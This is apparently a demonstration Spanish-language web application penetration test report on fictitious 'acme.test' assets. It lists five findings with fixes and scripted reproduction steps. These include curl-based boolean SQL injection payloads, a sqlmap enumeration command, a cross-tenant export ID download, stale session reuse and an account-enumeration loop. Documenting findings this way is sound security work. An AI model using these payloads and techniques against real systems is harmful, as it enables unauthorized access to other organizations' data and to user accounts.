flawtrace
flawtrace

INFORME FINAL DE SEGURIDAD

Evaluación de aplicación web y API

ACME · Portal de clientes

Referencia
FT-2026-024
Modalidad
Grey Box
Periodo
4–15 septiembre 2026
Clasificación
Confidencial
Documento demostrativo · Los activos y resultados son ficticios

01 · RESUMEN EJECUTIVO

Una postura sólida con una prioridad clara.

La evaluación identificó cinco hallazgos validados. Uno es crítico: el buscador de facturas de la API concatena la entrada del usuario en la consulta SQL y permite leer datos de otras organizaciones. Un segundo hallazgo, de riesgo alto, permite descargar informes de otro inquilino manipulando el identificador de la exportación.

CalificaciónCRiesgo alto hasta corregir la inyección

Conclusión

La arquitectura dispone de controles defensivos adecuados, pero la inyección SQL debe corregirse antes de cualquier lanzamiento. Después conviene reforzar la autorización por objeto y la revocación de sesiones.

5Hallazgos
1Crítico
94%Cobertura
7/9Retests superados

02 · ALCANCE

Superficie autorizada

Las pruebas se limitaron a los siguientes activos y a dos cuentas dedicadas con roles de usuario y administrador de organización.

ActivoTipoCobertura
portal.acme.testAplicación web Completa
api.acme.test/v2API REST Completa
auth.acme.testIdentidad Autenticación

03 · METODOLOGÍA

Evaluación reproducible y supervisada.

01

Descubrimiento

Mapeo autorizado de rutas, APIs y controles.

02

Pruebas

OWASP ASVS, WSTG y casos de lógica de negocio.

03

Validación

Reproducción manual y eliminación de falsos positivos.

04

Retest

Confirmación independiente de las correcciones.

04 · HALLAZGOS

Resultados priorizados

FT-031

Inyección SQL en el buscador de facturas

api.acme.test/v2 · Injection
Crítica9.1CVSS

Impacto

El parámetro de búsqueda se concatena en la consulta SQL. Una cuenta con permisos mínimos puede leer tablas ajenas al inquilino, incluidas credenciales con hash y datos de facturación de otras organizaciones.

Recomendación

Sustituir la concatenación por consultas parametrizadas, aplicar una lista blanca en el campo de ordenación y ejecutar la aplicación con un rol de base de datos sin permisos sobre tablas de sistema.

Reproducción validada

  1. Obtener un token de una cuenta de prueba

    Se usa la cuenta autorizada para el ejercicio, sin privilegios de administración.

    curl -s -X POST https://api.acme.test/v2/auth/login \
      -H 'Content-Type: application/json' \
      -d '{"email":"pentest-user@acme.test","password":"[REDACTED]"}' \
      | jq -r .access_token > token.txt
  2. Confirmar el punto de inyección

    Una comilla simple rompe la consulta y el backend devuelve el error del motor, lo que confirma que el valor llega sin parametrizar.

    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme'"
  3. Verificar la condición booleana

    La respuesta cambia de 0 a 42 resultados según la condición inyectada: la consulta es controlable por el atacante.

    # falso  -> 0 resultados
    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme' AND 1=2-- " | jq '.total'
    
    # verdadero -> 42 resultados
    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme' AND 1=1-- " | jq '.total'
  4. Determinar el alcance con sqlmap

    Ejecutado con nivel y riesgo mínimos, sin volcado masivo: solo se enumeran nombres para medir el impacto.

    sqlmap -u "https://api.acme.test/v2/invoices/search?q=acme" \
      --headers="Authorization: Bearer $(cat token.txt)" \
      --level=2 --risk=1 --batch --technique=B \
      --dbs --threads=2
  5. Acotar la prueba

    Confirmada la lectura de una fila fuera del inquilino, se detiene la explotación y se notifica al responsable técnico el mismo día.

Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-89 · A03:2021 · Injection.

FT-024

Control de acceso insuficiente en exportaciones

portal.acme.test · Broken Access Control
Alta8.1CVSS

Impacto

Un usuario autenticado puede descargar informes de otra organización cambiando el identificador de la exportación. El servidor comprueba la sesión, pero no que el recurso pertenezca al inquilino.

Recomendación

Comprobar la propiedad del recurso en servidor en cada acceso, apoyarse en RLS por organización y añadir pruebas negativas automatizadas para la descarga entre inquilinos.

Reproducción validada

  1. Iniciar sesión con dos cuentas de prueba

    Cuenta A pertenece a la organización evaluada; cuenta B a una organización de control creada para el ejercicio.

    curl -s -c a.jar -X POST https://portal.acme.test/login \
      -d 'email=pentest-a@acme.test&password=[REDACTED]'
    
    curl -s -c b.jar -X POST https://portal.acme.test/login \
      -d 'email=pentest-b@acme.test&password=[REDACTED]'
  2. Generar un informe con la cuenta A y anotar su identificador

    El identificador viaja en la URL de descarga y no está firmado.

    curl -s -b a.jar -X POST https://portal.acme.test/api/reports/export \
      -H 'Content-Type: application/json' -d '{"projectId":"prj_a"}' | jq -r .exportId
    # => exp_9f21c0c4
  3. Descargar ese informe desde la cuenta B

    La respuesta es 200 y entrega el PDF de la organización A: la autorización por objeto no existe.

    curl -s -b b.jar -o cross-tenant.pdf -w '%{http_code}\n' \
      https://portal.acme.test/api/reports/exp_9f21c0c4/download
    # => 200
  4. Confirmar y detener

    Se verifica la cabecera del fichero, se destruye la copia y se documenta el hallazgo sin extraer datos reales.

    head -c 20 cross-tenant.pdf | xxd | head -1
    shred -u cross-tenant.pdf

Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-639 · A01:2021 · Broken Access Control.

FT-019

Sesiones activas tras el cambio de contraseña

app.acme.test · Session Management
Media6.4CVSS

Impacto

Una sesión robada sigue siendo válida después de que la víctima cambie su contraseña, de modo que el cambio no corta el acceso del atacante.

Recomendación

Revocar el resto de sesiones al cambiar credenciales, rotar el identificador de sesión y ofrecer al usuario una lista de dispositivos activos con opción de cierre.

Reproducción validada

  1. Abrir dos sesiones con la misma cuenta

    Simulan el navegador de la víctima y el del atacante.

    curl -s -c victima.jar -X POST https://app.acme.test/login \
      -d 'email=pentest-user@acme.test&password=[REDACTED]'
    
    curl -s -c atacante.jar -X POST https://app.acme.test/login \
      -d 'email=pentest-user@acme.test&password=[REDACTED]'
  2. Cambiar la contraseña desde la primera sesión

    El cambio se completa correctamente y la aplicación muestra el aviso de éxito.

    curl -s -b victima.jar -X POST https://app.acme.test/api/account/password \
      -H 'Content-Type: application/json' \
      -d '{"current":"[REDACTED]","next":"[REDACTED-NUEVA]"}'
  3. Reutilizar la sesión antigua

    La segunda sesión sigue devolviendo 200 y datos de la cuenta media hora después del cambio.

    curl -s -b atacante.jar -o /dev/null -w '%{http_code}\n' \
      https://app.acme.test/api/account/profile
    # => 200

Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-613 · A07:2021 · Identification and Authentication Failures.

FT-011

Política CSP demasiado permisiva

www.acme.test · Security Misconfiguration
Baja3.7CVSS

Impacto

La política permite scripts en línea y orígenes amplios, de modo que una futura inyección de contenido se ejecutaría sin barrera preventiva.

Recomendación

Eliminar unsafe-inline, emitir un nonce por respuesta, restringir los orígenes autorizados y vigilar las violaciones con report-to.

Reproducción validada

  1. Leer las cabeceras de seguridad

    La política declara unsafe-inline y un comodín en las fuentes de script.

    curl -sI https://www.acme.test/ | grep -i 'content-security-policy'
  2. Contrastar con un evaluador

    La política no supera el nivel recomendado por falta de nonces y por permitir código en línea.

    curl -s https://csp-evaluator.withgoogle.com/ >/dev/null
    # evaluación manual de la cadena obtenida en el paso anterior
  3. Comprobar el efecto en una página de prueba

    Un script en línea insertado en el entorno de preproducción se ejecuta sin bloqueo. No se introduce contenido en producción.

Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-693 · A05:2021 · Security Misconfiguration.

FT-008

Enumeración de usuarios en recuperación de cuenta

portal.acme.test · Identification Failures
Baja3.1CVSS

Impacto

El formulario responde de forma distinta según exista la cuenta, lo que permite confirmar qué direcciones están registradas y preparar ataques dirigidos.

Recomendación

Unificar el mensaje y el tiempo de respuesta con independencia de la existencia de la cuenta, y limitar los intentos por IP y por dirección.

Reproducción validada

  1. Solicitar la recuperación con una cuenta existente

    El mensaje confirma el envío y la respuesta tarda algo más por el envío del correo.

    curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
      -X POST https://portal.acme.test/api/password/reset \
      -H 'Content-Type: application/json' \
      -d '{"email":"pentest-user@acme.test"}'
    # => codigo:200 tiempo:0.412
  2. Repetir con una dirección inexistente

    Cambian el texto y el tiempo, así que la diferencia es observable sin acceso previo.

    curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
      -X POST https://portal.acme.test/api/password/reset \
      -H 'Content-Type: application/json' \
      -d '{"email":"no-existe-9f21@acme.test"}'
    # => codigo:404 tiempo:0.086
  3. Medir el patrón con una lista corta

    Se usan diez direcciones creadas para el ejercicio, con un intento por segundo, para no afectar al servicio.

    while read email; do
      curl -s -o /dev/null -w "$email %{http_code} %{time_total}\n" \
        -X POST https://portal.acme.test/api/password/reset \
        -H 'Content-Type: application/json' -d "{\"email\":\"$email\"}"
      sleep 1
    done < direcciones-de-prueba.txt

Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-204 · A07:2021 · Identification and Authentication Failures.

05 · PLAN DE REMEDIACIÓN

Orden de actuación recomendado

  1. 0–7 días

    Corregir la inyección SQL del buscador de facturas

    Parametrizar la consulta, añadir pruebas negativas y revisar el resto de rutas con concatenación.

  2. 0–15 días

    Corregir autorización de exportaciones

    Aplicar validación de inquilino en servidor y pruebas negativas.

  3. 0–30 días

    Revocar sesiones tras cambios sensibles

    Invalidar sesiones y mostrar dispositivos activos.